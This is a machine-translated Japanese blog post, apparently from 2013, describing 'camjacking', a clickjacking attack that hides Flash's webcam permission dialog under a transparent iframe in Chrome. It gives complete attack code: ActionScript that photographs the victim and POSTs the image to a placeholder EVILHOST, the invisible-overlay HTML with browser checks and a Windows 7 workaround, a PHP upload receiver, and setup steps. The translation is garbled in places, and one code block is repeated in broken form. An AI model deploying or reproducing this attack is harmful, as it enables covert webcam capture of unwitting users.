クリックジャックの進化のようなカムジャック、または「ガルチャット!」 顔を開いてください!」





この投稿では、新しい攻撃の本質を説明しようとしました(攻撃自体は新しいものではありませんが、それを呼び出してみましょう)。 このバグは、Windows 7.8、Mac OS Xで一般的なものです。GoogleChrome、およびFlashも必要です。 このトピックは、特に最近人気のある完全な監視のアイデアに関するものです。

面白い? 猫をお願いします。



それは普通の夜であり、予想通り、私はコードを選んでいた。 どれも覚えていませんが、夜が役割を果たしました。 FlashファイルがWebカメラやマイクにアクセスしようとしたときに、Flash Playerセキュリティメッセージを非表示にすることは可能ですか? いつものように、そのような考えは自然に発生しますが、あなたの頭の中にとても奇妙にさまよう何かを成し遂げてみませんか? だから私は同じことを考えました。



不透明度とフラッシュコンテナ(フラッシュがウェブカメラへのアクセスを要求した)を含むシンプルなページを作成した後、Firefox 21、Opera 12.15はフラッシュアニメーションの透明度を無視するか、単に間違って行うことがわかりました。 しかし、IE 10とChrome 27.0.1453.110は完全に透明度を処理し、テキストや画像を自分自身の上に配置することを可能にしました。 これは間違いなくWebデザイナーと密接に関係しているでしょう。 しかし、達成されたものにとどまることは単に面白くありませんでした。私は攻撃をクリックジャッキングのアイデアと考え、より深く掘り始めましたが、それを私のニーズに合うようにやり直しました。つまり、攻撃者にとってすべての「有用な」機能を借りました。



ウェブカメラへのアクセスを選択しました(もちろん、マイクにもアクセスできますが、それは重要でしたか?)

そこで、Webカメラを使用して写真を撮影し、サーバーに送信する簡単なフラッシュドライブを作成しました。

私はActionScriptの専門家ではないため、苦情があれば、コードを修正する準備ができています。



package{ import flash.display.BitmapData; import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.net.*; import flash.utils.ByteArray; import flash.events.*; public class Main extends Sprite { private var cam:Camera; private var video:Video; private var bitmapdata:BitmapData; private var ba:ByteArray; private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); //  upload.php (   ) private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');"); private var loader : URLLoader = new URLLoader(); public function Main():void { run(); } private function run():void { cam = Camera.getCamera(); if(cam != null){ //   cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); video = new Video(640, 480); cam.setMode(640, 480, 60); //60 fps video.attachCamera(cam); } } private function activityHandler(event:ActivityEvent):void { // ""  bitmapdata = new BitmapData(video.width, video.height); bitmapdata.draw(video); ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder url.method = URLRequestMethod.POST; url.data = ba; loader.addEventListener(Event.COMPLETE, on_complete); loader.load(url); //  function on_complete(e : Event):void { navigateToURL(wclose, '_self'); // Alert } cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); } } }
      
      







PNGEncoderを使用します。

Flashdevelopプロジェクトはこちら



残念ながら、追加のテストを行った後、IEは半透明の要素との対話を許可しないことが明らかになりました。つまり、ダイアログボックスをクリックすることはできません。

私はWindows 8を持っているので、その下のテストは突然鳴りましたが、Windows 7では、フラッシュドライブがマウスで「選択」された後にのみダイアログボックスが消えました(不透明度:0)。 しかし、この不幸のために、彼の「Dirty hack」(後ほど)も見つかりました。 これは、フラッシュドライブの上部にあるテキストを拒否し、フラッシュドライブの上部に写真を重ねることを示唆しています。



私たちが持っています:



1)swf.html:



 <html> <body> <object width="270" height="270"> <param name="movie" value="camjack.swf"> <embed src="camjack.swf" width="270" height="270"> </embed> </object> </body> </html>
      
      







2)index.html:



 <html> <head> <script> var exit=function(){document.location='about:blank'}; //  ,    var tryimages=function(){ //easy hack.   ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //   ;  Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) //    { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) -  "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html>
      
      



= '表示:なし' SRC = 'データ:画像/ PNG; base64で、iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY / J // z8ABf4C / qc1gYQAAAAASUVORK5CYII ='> </ IMG> <html> <head> <script> var exit=function(){document.location='about:blank'}; // , var tryimages=function(){ //easy hack. ? return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ // ; Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) // { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) - "". . . setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); // 70 }}; </script> <title>Camjacking simple example</title> <style> iframe { position: absolute; opacity: 0.0; z-index: 1; }; </style> </head> <body onload='load()'> <!-- PNG 1x1 --> <img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img> <iframe id='ifr' src='./swf.html' width='290' height='290'></iframe> <img id='img' src='./img.jpg' width='290' height='290'></img> </body> </html>







3)img.jpgはこちら



4)upload.php:



 <?php $imgdata = file_get_contents('php://input'); //input raw POST data $length = 10; $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); $imgname = "./images/".$randomString.".png"; if($imgdata){ file_put_contents($imgname, $imgdata); //PHP5 }; ?>
      
      







5)camjack.swfを自分で組み立てます。



6)$ mkdir ./images



これらはすべて、サイトのルートに愛をもって配置されます。 はい、upload.phpを使用してcrossdomain.xmlをサイトのルートに配置することを忘れないでください



すべてのダンスの後、Windows 8ではすべてが非常にパーソナルに見えました(不透明度:0.5):







小さなサンプルサイトを開設しました( korowkinに感謝)。 何かが開始しない場合、まあ、または開始する場合は、登録を解除してください。 一対のコンピューター上のすべてをチェックしました。 上記のパフォーマンスにはそれほど苦痛も自信もありません。



オンラインの例:http:// * / *



オンラインで写真を見る:http:// * / *



ありがとう、テストは完了しました。



さて、コードを含む2つのビデオ。



Windows 7:



http://www.youtube.com/watch?v=hQj6bqTAXKQ



Windows 8:



http://www.youtube.com/watch?v=vuTd481N6Os



PS(著者として。あなたは読むことができません。):放課後、私は広大な国の文化の首都に入ろうとしています。 私は次のように書いています。プロジェクトの質の高い監査が必要な場合は、私のサービスを提供できます。 プロファイル内の連絡先。



UPD: Google アップデートをリリースしました。



良い一日を!



All Articles